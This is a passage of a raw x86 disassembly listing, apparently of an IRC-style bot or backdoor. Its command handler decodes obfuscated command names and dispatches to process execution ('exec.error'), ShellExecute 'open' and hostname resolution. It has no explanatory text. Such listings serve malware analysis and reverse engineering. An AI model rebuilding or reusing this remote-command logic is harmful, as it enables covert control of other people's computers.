ecx, [esi+124h] mov byte ptr [esp+14h+var_4], 3 call sub_402207 lea ecx, [esi+16Dh] mov byte ptr [esp+14h+var_4], 4 call sub_402207 lea ecx, [esi+1B6h] mov byte ptr [esp+14h+var_4], 5 call sub_402207 lea ecx, [esi+1FFh] mov byte ptr [esp+14h+var_4], 6 call sub_402207 mov ecx, [esp+14h+var_C] mov eax, esi pop esi mov large fs:0, ecx add esp, 10h retn sub_403E00 endp ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_403EE0 proc near ; CODE XREF: sub_40206Dj var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_403EE0 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi lea ecx, [esi+1FFh] mov [esp+14h+var_4], 6 call sub_401AD2 lea ecx, [esi+1B6h] mov byte ptr [esp+14h+var_4], 5 call sub_401AD2 lea ecx, [esi+16Dh] mov byte ptr [esp+14h+var_4], 4 call sub_401AD2 lea ecx, [esi+124h] mov byte ptr [esp+14h+var_4], 3 call sub_401AD2 lea ecx, [esi+0DBh] mov byte ptr [esp+14h+var_4], 2 call sub_401AD2 lea ecx, [esi+92h] mov byte ptr [esp+14h+var_4], 1 call sub_401AD2 lea ecx, [esi+49h] mov byte ptr [esp+14h+var_4], 0 call sub_401AD2 mov ecx, esi mov [esp+14h+var_4], 0FFFFFFFFh call sub_401AD2 mov ecx, [esp+14h+var_C] pop esi mov large fs:0, ecx add esp, 10h retn sub_403EE0 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_403FC0 proc near ; CODE XREF: sub_401D34j var_3C = byte ptr -3Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_403FC0 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 48h push ebp push esi push edi push 0 push 4 push 9 push 4Fh lea eax, [esp+70h+var_3C] push 2 mov esi, ecx push eax call sub_4019B5 add esp, 18h push esi mov ecx, eax mov [esp+64h+var_4], 0 call sub_4017E4 lea ecx, [esi+0C29h] push eax push ecx mov ecx, offset dword_447158 call sub_401591 sub_403FC0 endp ; --------------------------------------------------------------------------- or edi, 0FFFFFFFFh lea ecx, [esp+24h] mov [esp+5Ch], edi call sub_401226 push 0 push 0Bh push 3 push 9 push 0Eh push 4 push 0Eh push 12h push 4Fh lea edx, [esp+48h] push 2 push edx call sub_4019B5 add esp, 2Ch push esi mov ecx, eax mov dword ptr [esp+60h], 1 call sub_4017E4 push eax lea eax, [esi+0BCDh] push eax mov ecx, offset dword_447158 call sub_401591 ; --------------------------------------------------------------------------- lea ecx, [esp+24h] mov [esp+5Ch], edi call sub_401226 push 0 push 14h push 15h push 0Fh push 2 push 1 push 4Fh lea ecx, [esp+40h] push 2 push ecx call sub_4019B5 add esp, 24h push esi mov ecx, eax mov dword ptr [esp+60h], 2 call sub_4017E4 lea edx, [esi+0C57h] push eax push edx mov ecx, offset dword_447158 call sub_401591 ; --------------------------------------------------------------------------- lea ecx, [esp+24h] mov [esp+5Ch], edi call sub_401226 push 0 push 5 push 12h push 15h push 3 push 5 push 13h push 4Fh lea eax, [esp+44h] push 2 push eax call sub_4019B5 add esp, 28h push esi mov ecx, eax mov dword ptr [esp+60h], 3 call sub_4017E4 lea ecx, [esi+0DF5h] push eax push ecx mov ecx, offset dword_447158 call sub_401591 ; --------------------------------------------------------------------------- lea ecx, [esp+24h] mov [esp+5Ch], edi call sub_401226 push 0 push 0Fh push 6 push 0Eh push 9 push 13h push 19h push 13h push 4Fh lea edx, [esp+48h] push 2 push edx call sub_4019B5 add esp, 2Ch push esi mov ecx, eax mov dword ptr [esp+60h], 4 call sub_4017E4 push eax lea eax, [esi+0C85h] push eax mov ecx, offset dword_447158 call sub_401591 ; --------------------------------------------------------------------------- lea ecx, [esp+24h] mov [esp+5Ch], edi call sub_401226 push 0 push 5 push 16h push 0Fh push 0Dh push 5 push 12h push 4Fh lea ecx, [esp+44h] push 2 push ecx call sub_4019B5 add esp, 28h push esi mov ecx, eax mov dword ptr [esp+60h], 5 call sub_4017E4 lea edx, [esi+0B71h] push eax push edx mov ecx, offset dword_447158 call sub_401591 ; --------------------------------------------------------------------------- lea ecx, [esp+24h] mov [esp+5Ch], edi call sub_401226 push 0 push 13h push 0Eh push 4 push 8 push 13h push 15h push 0Ch push 6 push 4Fh lea eax, [esp+4Ch] push 2 push eax call sub_4019B5 add esp, 30h push esi mov ecx, eax mov dword ptr [esp+60h], 6 call sub_4017E4 lea ecx, [esi+0DC7h] push eax push ecx mov ecx, offset dword_447158 call sub_401591 ; --------------------------------------------------------------------------- lea ecx, [esp+24h] mov [esp+5Ch], edi call sub_401226 push 0 push 0Eh push 5 push 10h push 0Fh push 4Fh lea edx, [esp+3Ch] push 2 push edx call sub_4019B5 add esp, 20h push esi mov ecx, eax mov dword ptr [esp+60h], 7 call sub_4017E4 push eax lea eax, [esi+0D0Fh] push eax mov ecx, offset dword_447158 call sub_401591 ; --------------------------------------------------------------------------- lea ecx, [esp+24h] mov [esp+5Ch], edi call sub_401226 push 0 push 14h push 9 push 15h push 11h push 4Fh lea ecx, [esp+3Ch] push 2 push ecx call sub_4019B5 add esp, 20h push esi mov ecx, eax mov dword ptr [esp+60h], 8 call sub_4017E4 lea edx, [esi+0D99h] push eax push edx mov ecx, offset dword_447158 call sub_401591 ; --------------------------------------------------------------------------- lea ecx, [esp+24h] mov [esp+5Ch], edi call sub_401226 push 0 push 4 push 0Dh push 3 push 4Fh lea eax, [esp+38h] push 2 push eax call sub_4019B5 add esp, 1Ch push esi mov ecx, eax mov dword ptr [esp+60h], 9 call sub_4017E4 lea ecx, [esi+0E23h] push eax push ecx mov ecx, offset dword_447158 call sub_401591 ; --------------------------------------------------------------------------- lea ecx, [esp+24h] mov [esp+5Ch], edi call sub_401226 push 0 push 5 push 18h push 5 push 4Fh lea edx, [esp+38h] push 2 push edx call sub_4019B5 add esp, 1Ch push esi mov ecx, eax mov dword ptr [esp+60h], 0Ah call sub_4017E4 push eax lea eax, [esi+0D6Bh] push eax mov ecx, offset dword_447158 call sub_401591 ; --------------------------------------------------------------------------- lea ecx, [esp+24h] mov [esp+5Ch], edi call sub_401226 push 0 push 13h push 0Eh push 4 push 4Fh lea ecx, [esp+38h] push 2 push ecx call sub_4019B5 add esp, 1Ch push esi mov ecx, eax mov dword ptr [esp+60h], 0Bh call sub_4017E4 lea edx, [esi+0D3Dh] push eax push edx mov ecx, offset dword_447158 call sub_401591 ; --------------------------------------------------------------------------- lea ecx, [esp+24h] mov [esp+5Ch], edi call sub_401226 push 0 push 5 push 0Dh push 9 push 14h push 10h push 15h push 0Ch push 4Fh lea eax, [esp+48h] push 2 push eax call sub_4019B5 add esp, 2Ch push esi mov ecx, eax mov dword ptr [esp+60h], 0Ch call sub_4017E4 push eax lea ecx, [esi+0CB3h] push ecx mov ecx, offset dword_447158 call sub_401591 ; --------------------------------------------------------------------------- lea ecx, [esp+24h] mov [esp+5Ch], edi call sub_401226 push 0 push 0Bh push 3 push 9 push 0Eh push 4Fh lea edx, [esp+3Ch] push 2 push edx call sub_4019B5 add esp, 20h push esi mov ecx, eax mov dword ptr [esp+60h], 0Dh call sub_4017E4 push eax lea eax, [esi+0CE1h] push eax mov ecx, offset dword_447158 call sub_401591 ; --------------------------------------------------------------------------- db 8Dh, 4Ch, 24h dd 247C8924h, 0CE20E85Ch, 4E8DFFFFh, 0D3D6E809h, 4C8DFFFFh dd 51500C24h, 0FFDC09E8h, 8C483FFh, 256A006Ah, 236A1D6Ah dd 3424548Dh, 0C752286Ah, 0E742444h, 0E8000000h, 0FFFFD57Dh dd 8B18C483h, 244C8DE8h, 2444C60Ch, 99E80F5Ch, 50FFFFD3h dd 91E8CD8Bh, 50FFFFD3h, 4435F468h, 60B56800h, 0A8E8004Dh dd 83FFFFD9h, 4C8D10C4h, 44C62424h, 0E80E5C24h, 0FFFFCDB2h dd 448D206Ah, 6A4024h, 244C8D50h, 0CE2CE818h, 0C88BFFFFh dd 5C2444C6h, 0D352E810h, 6850FFFFh, 4435F0h, 4E6E8568h dd 0CB8BE800h, 0C483FFFFh, 2444C60Ch, 4C8D0E5Ch, 73E83C24h dd 90FFFFCDh, 3EC2B0E8h, 0B8C88B02h, 10624DD3h, 0EAC1E1F7h dd 244C8D06h, 556890Ch, 5C247C89h, 0FFCD51E8h, 244C8BFFh dd 5D5E5F54h, 0D8964h, 83000000h, 90C354C4h, 2 dup(90909090h) dd 54h dup(0CCCCCCCCh) ; =============== S U B R O U T I N E ======================================= sub_404640 proc near ; CODE XREF: sub_401A32j var_88 = dword ptr -88h var_84 = byte ptr -84h var_6C = byte ptr -6Ch var_54 = byte ptr -54h var_3C = byte ptr -3Ch var_24 = byte ptr -24h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = byte ptr 8 push 0FFFFFFFFh push offset SEH_404640 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 7Ch push ebx push ebp push esi mov esi, [esp+94h+arg_0] mov ebp, ecx push edi lea ebx, [esi+2Ah] push 0 mov ecx, ebx mov [esp+9Ch+var_88], ebp call sub_40146F mov cl, [eax] lea edi, [esi+69h] cmp cl, 23h jnz short loc_404682 push ebx jmp short loc_404686 ; --------------------------------------------------------------------------- loc_404682: ; CODE XREF: sub_404640+3Dj lea eax, [esi+15h] push eax loc_404686: ; CODE XREF: sub_404640+40j mov ecx, edi call sub_401FBE mov al, [esi+94h] test al, al jz short loc_4046A2 lea ecx, [esi+15h] push ecx mov ecx, edi call sub_401FBE loc_4046A2: ; CODE XREF: sub_404640+55j mov al, [esi+95h] test al, al jz short loc_40471F lea ecx, [esp+98h+var_6C] call sub_401424 push offset aO ; " -o" mov ecx, esi mov [esp+9Ch+var_4], 0 call sub_4013E3 add eax, 3 lea edx, [esp+98h+var_54] push eax push edx mov ecx, esi call sub_401E2E push eax lea ecx, [esp+9Ch+var_6C] mov byte ptr [esp+9Ch+var_4], 1 call sub_401FBE lea ecx, [esp+98h+var_54] mov byte ptr [esp+98h+var_4], 0 call sub_401226 lea eax, [esp+98h+var_6C] mov ecx, edi push eax call sub_401FBE lea ecx, [esp+98h+var_6C] mov [esp+98h+var_4], 0FFFFFFFFh call sub_401226 loc_40471F: ; CODE XREF: sub_404640+6Aj push offset asc_443600 ; " " lea ecx, [esp+9Ch+var_6C] push 0 push ecx mov ecx, esi call sub_4016AE lea edx, [esp+98h+var_54] mov ebx, 2 push 1 push edx mov ecx, eax mov [esp+0A0h+var_4], ebx call sub_401E2E lea edi, [esi+7Eh] push eax mov ecx, edi mov byte ptr [esp+9Ch+var_4], 3 call sub_401FBE lea ecx, [esp+98h+var_54] mov byte ptr [esp+98h+var_4], bl call sub_401226 lea ecx, [esp+98h+var_6C] mov [esp+98h+var_4], 0FFFFFFFFh call sub_401226 push 0 lea ecx, [ebp+32Ch] call sub_40146F push 0 mov ecx, esi mov ebp, eax call sub_40146F mov al, [eax] mov cl, [ebp+0] cmp al, cl jnz loc_4049EA push 0 push 14h push 1 push 5 push 10h push 5 push 12h push 4Eh push 14h push 0Fh lea ecx, [esp+0C0h+var_54] push ebx push ecx call sub_4019B5 add esp, 30h mov ecx, eax mov [esp+98h+var_4], 4 call sub_4017E4 push eax mov ecx, edi call sub_4012EE test eax, eax jnz short loc_40480F sub esp, 18h lea edx, [esi+15h] mov ecx, esp mov [esp+0B0h+arg_0], esp push edx call sub_4014C9 mov ecx, offset word_448C9E call sub_401CD0 test eax, eax jz short loc_40480F mov bl, 1 jmp short loc_404811 ; --------------------------------------------------------------------------- loc_40480F: ; CODE XREF: sub_404640+1A6j ; sub_404640+1C9j xor bl, bl loc_404811: ; CODE XREF: sub_404640+1CDj lea ecx, [esp+98h+var_54] mov [esp+98h+var_4], 0FFFFFFFFh call sub_401226 test bl, bl jz loc_4049CE push offset asc_443600 ; " " lea eax, [esp+9Ch+var_54] push 1 push eax mov ecx, esi call sub_4016AE push offset byte_446F70 mov ecx, eax mov [esp+9Ch+var_4], 5 call sub_4012EE test eax, eax lea ecx, [esp+98h+var_54] mov [esp+98h+var_4], 0FFFFFFFFh setz bl call sub_401226 test bl, bl jnz loc_4049EA push offset asc_443600 ; " " lea ecx, [esp+9Ch+var_54] push 1 push ecx mov ecx, esi call sub_4016AE mov ecx, eax mov [esp+98h+var_4], 6 call sub_4017E4 push eax call near ptr 77C1BF18h nop add esp, 4 lea ecx, [esp+98h+var_54] mov ebp, eax mov [esp+98h+var_4], 0FFFFFFFFh call sub_401226 test ebp, ebp jz loc_4049EA push 20h mov ecx, esi call sub_401D20 lea edx, [esp+98h+var_84] push eax push edx mov ecx, esi call sub_401E2E mov ebx, 7 push 20h lea ecx, [esp+9Ch+var_84] mov [esp+9Ch+var_4], ebx call sub_401D20 push eax lea eax, [esp+9Ch+var_54] push eax lea ecx, [esp+0A0h+var_84] call sub_401E2E push eax lea ecx, [esp+9Ch+var_84] mov byte ptr [esp+9Ch+var_4], 8 call sub_40200E lea ecx, [esp+98h+var_54] mov byte ptr [esp+98h+var_4], bl call sub_401226 lea ecx, [esp+98h+var_84] push ecx mov ecx, esi call sub_401FBE push offset asc_443600 ; " " lea edx, [esp+9Ch+var_24] push 0 push edx mov ecx, esi call sub_4016AE lea ecx, [esp+98h+var_3C] push 1 push ecx mov ecx, eax mov byte ptr [esp+0A0h+var_4], 9 call sub_401E2E push eax mov ecx, edi mov byte ptr [esp+9Ch+var_4], 0Ah call sub_401FBE lea ecx, [esp+98h+var_3C] mov byte ptr [esp+98h+var_4], 9 call sub_401226 lea ecx, [esp+98h+var_24] mov byte ptr [esp+98h+var_4], bl call sub_401226 mov al, [esp+98h+arg_4] test al, al jnz short loc_4049A7 test ebp, ebp jle short loc_4049B8 loc_404998: ; CODE XREF: sub_404640+363j mov ecx, [esp+98h+var_88] push esi call sub_401F69 dec ebp jnz short loc_404998 jmp short loc_4049B8 ; --------------------------------------------------------------------------- loc_4049A7: ; CODE XREF: sub_404640+352j test ebp, ebp jle short loc_4049B8 loc_4049AB: ; CODE XREF: sub_404640+376j mov ecx, [esp+98h+var_88] push esi call sub_401442 dec ebp jnz short loc_4049AB loc_4049B8: ; CODE XREF: sub_404640+356j ; sub_404640+365j ... lea ecx, [esp+98h+var_84] mov [esp+98h+var_4], 0FFFFFFFFh call sub_401226 jmp short loc_4049EA ; --------------------------------------------------------------------------- loc_4049CE: ; CODE XREF: sub_404640+1E7j mov al, [esp+98h+arg_4] mov ecx, [esp+98h+var_88] test al, al push esi jnz short loc_4049E5 call sub_401F69 jmp short loc_4049EA ; --------------------------------------------------------------------------- loc_4049E5: ; CODE XREF: sub_404640+39Cj call sub_401442 loc_4049EA: ; CODE XREF: sub_404640+162j ; sub_404640+232j ... mov ecx, [esp+98h+var_C] pop edi pop esi pop ebp mov large fs:0, ecx pop ebx add esp, 88h retn 8 sub_404640 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 100h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_404B10 proc near ; CODE XREF: sub_401F69j arg_0 = dword ptr 4 push esi push edi mov edi, ecx mov ecx, offset word_448CA2 call sub_4014D3 mov esi, [esp+8+arg_0] push eax lea ecx, [esi+7Eh] call sub_4012EE test eax, eax jz short loc_404B56 sub esp, 18h lea eax, [esi+15h] mov ecx, esp mov [esp+20h+arg_0], esp push eax call sub_4014C9 mov ecx, offset word_448C9E call sub_401CD0 test eax, eax jnz short loc_404B56 xor al, al pop edi pop esi retn 4 ; --------------------------------------------------------------------------- loc_404B56: ; CODE XREF: sub_404B10+1Dj ; sub_404B10+3Dj sub esp, 18h lea edx, [esi+15h] mov ecx, esp mov [esp+20h+arg_0], esp push edx call sub_4014C9 mov ecx, offset word_448C9E call sub_401CD0 test eax, eax jnz short loc_404B96 mov al, [edi+469h] test al, al jz short loc_404B96 push 0 lea ecx, [esi+2Ah] call sub_40146F cmp byte ptr [eax], 23h jz short loc_404B96 xor al, al pop edi pop esi retn 4 ; --------------------------------------------------------------------------- loc_404B96: ; CODE XREF: sub_404B10+64j ; sub_404B10+6Ej ... push esi mov ecx, edi call sub_401442 pop edi pop esi retn 4 sub_404B10 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_404BE0 proc near ; CODE XREF: sub_401442j arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] push 1 lea ecx, [esi+7Eh] call sub_4017E4 push eax mov ecx, offset dword_447158 call sub_401AF0 test eax, eax jz short loc_404C0A mov ecx, [eax+2Ah] push esi mov eax, [ecx] call dword ptr [eax] pop esi retn 4 ; --------------------------------------------------------------------------- loc_404C0A: ; CODE XREF: sub_404BE0+1Cj xor al, al pop esi retn 4 sub_404BE0 endp ; --------------------------------------------------------------------------- db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_404C20 proc near ; CODE XREF: sub_40185Cj push esi push edi mov edi, dword_50F8A4 mov esi, ecx call edi mov edx, dword_4D60D9 mov ecx, [esi+421h] sub eax, edx cmp eax, ecx jbe short loc_404C4F mov ecx, offset byte_4D60B5 call sub_401D0C call edi mov dword_4D60D9, eax loc_404C4F: ; CODE XREF: sub_404C20+1Cj pop edi mov al, 1 pop esi retn sub_404C20 endp ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_404C70 proc near ; CODE XREF: sub_4017C6j var_1B4 = dword ptr -1B4h var_1B0 = byte ptr -1B0h var_1AC = dword ptr -1ACh var_1A8 = byte ptr -1A8h var_198 = byte ptr -198h var_194 = dword ptr -194h var_190 = byte ptr -190h var_17C = dword ptr -17Ch var_178 = byte ptr -178h var_168 = dword ptr -168h var_164 = byte ptr -164h var_14D = byte ptr -14Dh var_14C = byte ptr -14Ch var_130 = byte ptr -130h var_11C = byte ptr -11Ch var_104 = dword ptr -104h var_100 = byte ptr -100h var_D0 = dword ptr -0D0h var_A0 = byte ptr -0A0h var_8C = byte ptr -8Ch var_54 = byte ptr -54h var_50 = byte ptr -50h var_48 = byte ptr -48h var_30 = byte ptr -30h var_18 = byte ptr -18h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 4 mov eax, large fs:0 push 0FFFFFFFFh push offset SEH_404C70 push eax mov large fs:0, esp sub esp, 15Ch push ebx push ebp push esi mov esi, [esp+174h+arg_0] push edi mov edi, ecx lea ebp, [esi+7Eh] lea ecx, [edi+0C29h] call sub_4017E4 push eax mov ecx, ebp call sub_4012EE test eax, eax jnz short loc_404CE4 lea ecx, [esi+69h] call sub_4014D3 push eax lea ecx, [edi+2E3h] call sub_4014D3 mov cl, [esi+93h] push eax mov al, [esi+94h] push eax push ecx mov ecx, offset byte_4D60B5 call sub_401118 jmp loc_405675 ; --------------------------------------------------------------------------- loc_404CE4: ; CODE XREF: sub_404C70+40j lea ecx, [edi+0D6Bh] call sub_4017E4 push eax mov ecx, ebp call sub_4012EE test eax, eax jnz loc_404E75 push 1 push offset asc_443600 ; " " lea edx, [esp+180h+var_14C] push 2 push edx mov ecx, esi call sub_4011EA push offset asc_443600 ; " " lea eax, [esp+17Ch+var_100] push 1 push eax mov ecx, esi mov [esp+184h+var_4], 0 call sub_4016AE mov ecx, eax mov byte ptr [esp+178h+var_4], 1 call sub_4017E4 push eax nop call near ptr 77C1BF18h add esp, 4 cmp eax, 1 lea ecx, [esp+178h+var_100] mov byte ptr [esp+178h+var_4], 0 setz bl call sub_401226 lea ecx, [esp+178h+var_164] call sub_401424 push 2000h push 2000h lea ecx, [esp+180h+var_164] mov byte ptr [esp+180h+var_4], 2 call sub_401C5D push eax lea ecx, [esp+180h+var_14C] call sub_4017E4 push eax nop call near ptr 2810000h lea ecx, [esp+178h+var_164] push ecx lea ecx, [esp+17Ch+var_14C] call sub_401FBE mov ecx, 11h xor eax, eax lea edi, [esp+178h+var_D0] lea edx, [esp+178h+var_11C] rep stosd lea eax, [esp+178h+var_D0] push edx push eax push 0 neg bl push 0 push 28h sbb ebx, ebx push 1 and ebx, 5 push 0 push 0 lea ecx, [esp+198h+var_14C] mov [esp+198h+var_D0], 44h mov word ptr [esp+198h+var_A0], bx call sub_4014D3 push eax push 0 call near ptr 2800000h nop test eax, eax jnz short loc_404E49 lea ecx, [esi+69h] call sub_4014D3 mov cl, [esi+94h] mov dl, [esi+93h] push eax push offset aExec_error ; "exec.error" push ecx push edx mov ecx, offset byte_4D60B5 call sub_401118 lea ecx, [esp+178h+var_164] mov byte ptr [esp+178h+var_4], 0 call sub_401226 mov [esp+178h+var_4], 0FFFFFFFFh lea ecx, [esp+178h+var_14C] jmp loc_40566E ; --------------------------------------------------------------------------- loc_404E49: ; CODE XREF: sub_404C70+18Cj lea ecx, [esp+178h+var_164] mov byte ptr [esp+178h+var_4], 0 call sub_401226 lea ecx, [esp+178h+var_14C] mov [esp+178h+var_4], 0FFFFFFFFh call sub_401226 mov al, 1 jmp loc_405675 ; --------------------------------------------------------------------------- loc_404E75: ; CODE XREF: sub_404C70+89j lea ecx, [edi+0B71h] call sub_4014D3 push eax mov ecx, ebp call sub_4012EE test eax, eax jnz loc_404F24 push 1 push offset asc_443600 ; " " lea eax, [esp+180h+var_164] push 1 push eax mov ecx, esi call sub_4011EA mov ecx, offset byte_4E6E85 mov [esp+178h+var_4], 3 call sub_4017E4 push eax lea ecx, [esp+17Ch+var_164] call sub_4012EE test eax, eax jnz short loc_404F10 mov al, byte_4478D6 test al, al jz short loc_404EE0 push offset dword_447874 mov ecx, offset dword_448DB0 call sub_401447 loc_404EE0: ; CODE XREF: sub_404C70+25Fj mov al, byte_44791F test al, al jz short loc_404EF8 push offset byte_44794F mov ecx, offset dword_448DB0 call sub_401942 loc_404EF8: ; CODE XREF: sub_404C70+277j mov ecx, offset dword_448DB0 call sub_401E5B mov byte_4D60CC, 0 mov byte_4E6E84, 0 loc_404F10: ; CODE XREF: sub_404C70+256j mov [esp+178h+var_4], 0FFFFFFFFh lea ecx, [esp+178h+var_164] jmp loc_40566E ; --------------------------------------------------------------------------- loc_404F24: ; CODE XREF: sub_404C70+21Aj lea ecx, [edi+0C57h] call sub_4017E4 push eax mov ecx, ebp call sub_4012EE test eax, eax jnz short loc_404F6C lea ecx, [esi+69h] call sub_4014D3 push eax mov ecx, offset word_4E6E9A call sub_4014D3 mov cl, [esi+94h] mov dl, [esi+93h] push eax push ecx push edx mov ecx, offset byte_4D60B5 call sub_401118 jmp loc_405675 ; --------------------------------------------------------------------------- loc_404F6C: ; CODE XREF: sub_404C70+2C9j lea ecx, [edi+0DC7h] call sub_4017E4 push eax mov ecx, ebp call sub_4012EE test eax, eax jnz loc_405029 push eax push 13h push 0Eh push 4 push 8 push 13h push 15h push 0Ch push 6 lea eax, [esp+19Ch+var_14C] push 50h push eax call sub_4019B5 add esp, 2Ch mov esi, eax push 0 push 5 push 18h push 5 push 4Eh push 7 push 9 push 6 push 0Eh push 0Fh push 3 push 10h lea ecx, [esp+1A8h+var_164] push 9 push ecx mov [esp+1B0h+var_4], 4 call sub_4019B5 add esp, 38h mov edi, eax mov ecx, esi mov byte ptr [esp+178h+var_4], 5 call sub_4017E4 push eax mov ecx, edi call sub_4017E4 push eax call sub_401299 add esp, 8 lea ecx, [esp+178h+var_164] mov byte ptr [esp+178h+var_4], 4 call sub_401226 lea ecx, [esp+178h+var_14C] mov [esp+178h+var_4], 0FFFFFFFFh call sub_401226 mov al, 1 jmp loc_405675 ; --------------------------------------------------------------------------- loc_405029: ; CODE XREF: sub_404C70+311j lea ecx, [edi+0D0Fh] call sub_4017E4 push eax mov ecx, ebp call sub_4012EE test eax, eax jnz loc_405147 lea ecx, [esp+178h+var_14C] call sub_401424 push offset asc_443600 ; " " lea edx, [esp+17Ch+var_11C] push 1 push edx mov ecx, esi mov [esp+184h+var_4], 6 call sub_4016AE mov ecx, eax mov byte ptr [esp+178h+var_4], 7 call sub_4017E4 push eax lea ecx, [esp+17Ch+var_14C] call sub_401A87 lea ecx, [esp+178h+var_11C] mov byte ptr [esp+178h+var_4], 6 call sub_401226 lea ecx, [esp+178h+var_164] call sub_401424 push 1 mov bl, 8 push 0 push 0 lea ecx, [esp+184h+var_14C] mov byte ptr [esp+184h+var_4], bl call sub_4017E4 push eax push offset aOpen ; "open" push 0 nop call near ptr 7CA41110h movsx eax, al push eax lea ecx, [esp+17Ch+var_11C] call sub_4020F4 lea ecx, [esp+178h+var_11C] mov byte ptr [esp+178h+var_4], 9 push ecx lea ecx, [esp+17Ch+var_164] call sub_40200E lea ecx, [esp+178h+var_11C] mov byte ptr [esp+178h+var_4], bl call sub_401226 lea ecx, [esi+69h] call sub_4014D3 push eax lea ecx, [esp+17Ch+var_164] call sub_4014D3 mov dl, [esi+94h] push eax mov al, [esi+93h] push edx push eax mov ecx, offset byte_4D60B5 call sub_401118 lea ecx, [esp+178h+var_164] mov byte ptr [esp+178h+var_4], 6 call sub_401226 mov [esp+178h+var_4], 0FFFFFFFFh lea ecx, [esp+178h+var_14C] jmp loc_40566E ; --------------------------------------------------------------------------- loc_405147: ; CODE XREF: sub_404C70+3CEj lea ecx, [edi+0D99h] call sub_4017E4 push eax mov ecx, ebp call sub_4012EE test eax, eax jnz short loc_40516A mov byte_4D60CC, al mov al, 1 jmp loc_405675 ; --------------------------------------------------------------------------- loc_40516A: ; CODE XREF: sub_404C70+4ECj lea ecx, [edi+0D3Dh] call sub_4017E4 push eax mov ecx, ebp call sub_4012EE test eax, eax jnz loc_405431 lea ecx, [esp+178h+var_11C] call sub_401424 push offset asc_443600 ; " " lea ecx, [esp+17Ch+var_164] push 1 mov ebx, 0Ah push ecx mov ecx, esi mov [esp+184h+var_4], ebx call sub_4016AE push offset byte_446F70 mov ecx, eax mov byte ptr [esp+17Ch+var_4], 0Bh call sub_4012EE test eax, eax lea ecx, [esp+178h+var_164] mov byte ptr [esp+178h+var_4], bl setz [esp+178h+var_14D] call sub_401226 mov al, [esp+178h+var_14D] test al, al jz short loc_4051F4 mov [esp+178h+var_4], 0FFFFFFFFh lea ecx, [esp+178h+var_11C] jmp loc_40566E ; --------------------------------------------------------------------------- loc_4051F4: ; CODE XREF: sub_404C70+56Ej push offset asc_443600 ; " " lea edx, [esp+17Ch+var_164] push 1 push edx mov ecx, esi call sub_4016AE mov ecx, eax mov byte ptr [esp+178h+var_4], 0Ch call sub_4017E4 push eax call near ptr 71AB2BF4h nop lea ecx, [esp+178h+var_164] mov [esp+178h+var_104], eax mov byte ptr [esp+178h+var_4], bl call sub_401226 mov eax, [esp+178h+var_104] or ebp, 0FFFFFFFFh cmp eax, ebp jz loc_4052C7 push 2 lea eax, [esp+17Ch+var_104] push 4 push eax call near ptr 71ABE479h nop mov edi, eax test edi, edi jz loc_4053A8 push offset asc_443600 ; " " lea ecx, [esp+17Ch+var_164] push 1 push ecx mov ecx, esi call sub_4016AE mov edx, [edi] mov ecx, eax push edx mov byte ptr [esp+17Ch+var_4], 0Dh call sub_4017E4 push eax lea eax, [esp+180h+var_11C] push offset aSResolvedS ; "%s resolved %s" push eax call sub_40102D add esp, 10h lea ecx, [esp+178h+var_164] mov byte ptr [esp+178h+var_4], bl call sub_401226 lea ecx, [esi+69h] call sub_4014D3 push eax lea ecx, [esp+17Ch+var_11C] call sub_4014D3 mov cl, [esi+94h] mov dl, [esi+93h] push eax push ecx push edx jmp loc_40540E ; --------------------------------------------------------------------------- loc_4052C7: ; CODE XREF: sub_404C70+5CAj push offset asc_443600 ; " " lea eax, [esp+17Ch+var_164] push 1 push eax mov ecx, esi call sub_4016AE mov ecx, eax mov byte ptr [esp+178h+var_4], 0Eh call sub_4017E4 push eax call near ptr 71AB4FD4h nop lea ecx, [esp+178h+var_164] mov edi, eax mov byte ptr [esp+178h+var_4], bl call sub_401226 test edi, edi jz loc_4053A8 mov ecx, [edi+0Ch] push offset asc_443600 ; " " lea eax, [esp+17Ch+var_164] push 1 mov edx, [ecx] push eax mov ecx, esi mov edi, [edx] call sub_4016AE mov ebp, eax push edi mov byte ptr [esp+17Ch+var_4], 0Fh nop call near ptr 71AB3F41h push eax mov ecx, ebp call sub_4017E4 push eax lea ecx, [esp+180h+var_11C] push offset aSS_1 ; "%s -> %s" push ecx call sub_40102D add esp, 10h lea ecx, [esp+178h+var_164] mov byte ptr [esp+178h+var_4], bl call sub_401226 lea ecx, [esi+69h] call sub_4014D3 push eax lea ecx, [esp+17Ch+var_11C] call sub_4014D3 mov dl, [esi+94h] push eax mov al, [esi+93h] push edx push eax mov ecx, offset byte_4D60B5 call sub_401118 lea ecx, [esp+178h+var_11C] mov bl, al mov [esp+178h+var_4], 0FFFFFFFFh call sub_401226 mov al, bl jmp loc_405675 ; --------------------------------------------------------------------------- loc_4053A8: ; CODE XREF: sub_404C70+5E3j ; sub_404C70+694j push offset asc_443600 ; " " lea ecx, [esp+17Ch+var_164] push 1 push ecx mov ecx, esi call sub_4016AE mov ecx, eax mov byte ptr [esp+178h+var_4], 10h call sub_4017E4 push eax lea edx, [esp+17Ch+var_11C] push offset aResolve_errorS ; "resolve.error %s." push edx call sub_40102D add esp, 0Ch lea ecx, [esp+178h+var_164] mov byte ptr [esp+178h+var_4], bl call sub_401226 lea ecx, [esi+69h] call sub_4014D3 push eax lea ecx, [esp+17Ch+var_11C] call sub_4014D3 mov cl, [esi+93h] push eax mov al, [esi+94h] push eax push ecx loc_40540E: ; CODE XREF: sub_404C70+652j mov ecx, offset byte_4D60B5 call sub_401118 